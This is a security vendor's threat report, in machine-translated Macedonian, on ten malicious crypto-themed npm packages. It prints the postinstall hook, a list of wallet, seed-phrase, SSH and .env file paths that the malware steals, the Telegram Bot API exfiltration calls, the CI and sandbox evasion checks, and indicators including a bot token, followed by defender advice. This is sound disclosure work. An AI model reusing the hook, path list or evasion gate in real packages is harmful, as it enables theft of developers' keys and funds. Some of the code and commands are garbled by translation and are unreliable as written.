SeedSweep: Десет малициозни npm крипто пакети

SeedSweep: Десет npm пакети со крипто тема кои работат само кога никој не гледа

TL; ДР

На 9 јуни 2026 година, една единствена сметка на издавач на npm, aicrypto-xzggg, испратено десет пакети со крипто- и Web3-вкусни имиња — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, и уште шест.

Секој пакет го носи истиот товар од postinstall кука. При инсталацијата, проверува дали работи во CI или во sandbox - ако не, ги чита складиштата на клучеви во паричникот, датотеките со seed-phrase, SSH клучевите и .env датотеки од шест блокчејн екосистеми и ги пренесува до бот на Telegram.

Единствениот индикатор што бранителот може веднаш да го бара е идентификаторот на ботот на Telegram. 8227918239.

Сериозност: критична — директна кражба на клучеви за потпишување и фрази за обновување од работни станици за програмери.

Нападот: Како функционира

Пакетите се рекламираат себеси како алатки за блокчејн програмери. пакет.json е минимално и го насочува животниот циклус на инсталацијата кон скрипта:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

скрипти/постинстал.js е еднолиниска подлога која го вчитува вистинскиот товар: бара(„../src/index.js“). Затоа што постинсталација работи автоматски за време на npm инсталирај, не е потребен увоз на код од страна на развивачот — поставувањето на пакетот во дрво на зависности е доволно за да се изврши.

Синџирот на убивање внатре src/index.js е четири чекори:

  1. Проверка на околината. Функцијата guard одлучува дали домаќинот изгледа како агент за градење или како песочник за анализа.
  2. Одложување. Извршувањето е одложено зад setTimeout од околу 7.4 секунди.
  3. Колекција. Се оди по фиксен список на патеки до паричник, клуч и тајни датотеки; постојните датотеки се ставаат во ред на чекање.
  4. Ексфилтрација. Датотеките во ред се испраќаат до бот на Telegram, а потоа следува резиме порака.

Листата на целни колекции опфаќа шест синџири плус генерички тајни за програмери. Скратено:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Вкупно дваесет и една патека. Записи во директориумот како што се ~/.ethereum/чување на клучеви се прошируваат и секоја датотека внатре е ставена во ред. Ексфилтрацијата директно го користи Telegram Bot API — a испрати порака повик со резиме на домаќинот и датотеката, потоа испратидокумент повеќеделно прикачување за секоја датотека:

текст

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Резимената порака што ја составува кодот започнува со буквалниот стринг КРИПТО КРАДЕЦ, проследено со името на домаќинот, корисничкото име, името на оригиналниот пакет, бројот на датотеки и временската ознака.

Што е ново овде

Диференцијаторот не е механизмот на кражба — ексфил базиран на Телеграм од npm постинсталација hooks е добро изгазено. Тоа е порта за извршување. Пред да се направи било што, payload повикува функција која враќа true кога домаќинот наликува на CI runner или sandbox, и враќа порано кога тоа ќе се случи:

текст

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Регексот на идентификацијата на контејнерот е значајната клауза: име на домаќин од 12 хексадецимални знаци е стандардната форма што Docker ја доделува на контејнер, па така товарот го третира „моето име на хост изгледа како Docker контејнер“ како причина да остане неактивен. Во комбинација со доцнењето од седум секунди, дизајнот фаворизира извршување на вистинска работна станица на развивачот и останување тивок насекаде каде што изгледа како автоматизирана анализа. Таа порта е она што ги потиснува сигналите за динамичка анализа и го одржува статичкиот exfil проток како примарен доказ за убедување.

Хронологија

Датум (UTC) настанот
2026-06-09 ~02:48 Првите пакети во кластерот се означени при објавување (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Членови со повисока верзија означени (ethereum-kit-9 во 1.25.36, wallet-sdk-9 во 3.7.73)
2026-06-09 ~03:58–03:59 Конечно означени членови (defi-tools-39 во 4.26.29, swap-sdk-87 во 4.63.78, farming-tools-12 во 4.68.54)
2026-06-09 Сите десет класифицирани злонамерни и пријавени за отстранување од регистарот

Сите десет се појавија во рок од околу седумдесет минути, што е во согласност со едно сценарио за објавување од една сметка.

Индикатори за компромис

Мрежни и бихевиорални индикатори (домаќин без дефанзива):

индикатор Vrednost
Крајна точка на Exfil api[.]telegram[.]org (API за бот на Телеграм)
Идентификатор на бот на Телеграм 8227918239
Токен за бот 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ИД за разговор на Телеграм 6433587894
Инсталирајте ја куката postinstallscripts/postinstall.jssrc/index.js
Низа за обележување CRYPTO STEALER во составената резиме порака
Издавач aicrypto-xzggg (наведена е-пошта vipsyria88@gmail[.]com, непотврдено)

Пакети и верзии, секој со својот SHA-256 src/index.js товар (товарите се функционално идентични и се разликуваат само во вградената етикета за име на пакет, така што секој хаш е различен):

HTML
пакет верзија SHA-256 од src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Едноставно барање: пребарувајте логови за инсталација и датотеки за заклучување за кое било од десетте имиња и пребарувајте излезен сообраќај за врски до Telegram Bot API од хостови на градење или развивачи кои на друг начин не го користат.

Атрибуција и набљудувано однесување

Сите десет пакети беа објавени од една сметка, aicrypto-xzggg, чија наведена е-пошта е vipsyria88@gmail[.]comИ е-поштата и врската извор-контрола не се потврдени во метаподатоците на регистарот, а сметката има силно негативен репутациски рејтинг. Не потврдивме кој ја управува сметката.

Вреди да се одвојат два детала од какво било тврдење за идентитет. Прво, пакет.json авторот теренски читања Алекс Смит на секој пакет, додека вистинската сметка за објавување е aicrypto-xzggg; полето за автор е самопрогласена метаподатоци и не утврдува авторство. Второ, броевите на верзиите варираат многу - некои членови се наоѓаат на 1.0.0, други на 4.68.54 — што е во согласност со повторната употреба на еден товар низ новосоздадените имиња на пакети, наместо одржување на вистинска историја на изданија.

Однесувањето е униформно низ целиот кластер: истата листа на патеки за цел, истиот идентификатор на бот на Telegram и идентификатор на разговор, истата порта на околината, истата КРИПТО КРАДЕЦ маркер. Таа униформност е најсилната врска помеѓу пакетите. Тоа е сигнал од ист оператор, а не идентитет.

Влијание, трендови и насоки за бранителите

Изложеноста е конкретна. Развивачот кој инсталира кој било од овие пакети на работна станица што содржи софтверски паричник, датотека со почетна фраза или SSH клуч, ги чита и пренесува тие датотеки од домаќинот во рок од неколку секунди. Фразите за обновување и клучевите за потпишување не истекуваат на начин како што истекуваат токените за сесија; откако... mnemonic.txt или Солана id.json ја напушта машината, средствата што ги контролира се изложени на ризик сè додека не се преместат. Истото трчање, исто така, зафаќа .Н.С датотеки, кои рутински носат API клучеви и акредитиви за базата на податоци.

Два тренда стојат зад овој кластер. Првиот е континуираната употреба на имиња со крипто и Web3 тема за да се привлече одредена публика - програмери кои чуваат паричници и клучеви на истата машина на која инсталираат зависности. Вториот е созревањето на избегнувањето на sandbox во товарите за време на инсталацијата. Гејт кој проверува променливи на CI околина, кориснички имиња на извршители и облик на име на домаќин на Docker container-id е намерен обид да се однесува поинаку при анализа отколку на вистинска работна станица и ја крева летвата за чисто динамичко откривање.

За бранителите:

Инсталирајте со скрипти оневозможени по дифолт. npm инсталација –игнорирање-скрипти, или поставете игнорирај-скрипти=точно in .npmrc, спречува постинсталација извршување; овозможете скрипти само за специфичните зависности на кои навистина им се потребни.

Држете ги паричниците и клучевите за потпишување подалеку од машините за градење и развој. Користете хардверски паричник или наменски хост за потпишување без зависности.

Третирај .Н.С, складишта на клучеви и датотеки со семенски фрази како скапоцени камења. Тие никогаш не треба да седат во директориум кој е исто така npm инсталирај работно дрво.

Барајте излезни конекции до Telegram Bot API од CI и хостови на програмери. Повеќето средини за градење никогаш не го повикуваат; онаа што одеднаш го прави тоа, веднаш по инсталацијата, вреди да се истражи.

Закачи и прегледај зависности. Сосема нов пакет со генеричко крипто име, постинсталација кука, и ниедна врска со репозиториумот не гарантира преглед пред да влезе во заклучена датотека.

Клаузулата за избегнување на идентификацијата на контејнерот е исто така потсетник за аналитичарите: товарот за време на инсталацијата што останува неактивен во песочник не е бениген, туку селективен. Статичкиот преглед на патеката за инсталација останува сигурен начин да се види што динамичкото извршување може да одбие да покаже.

Референци

документација за инсталација на npm — скрипти за животниот циклус и –игнорира-скрипти— референца за оневозможување на автоматска инсталација hooks. 

алатки-за-анализа-на-композиции-на-sca-алатки
Дајте приоритет, санирајте и обезбедете ги вашите софтверски ризици
Добијте ја вашата бесплатна сметка.
Не е потребна кредитна картичка.

Обезбедете го вашиот развој и испорака на софтвер

со Xygeni Product Suite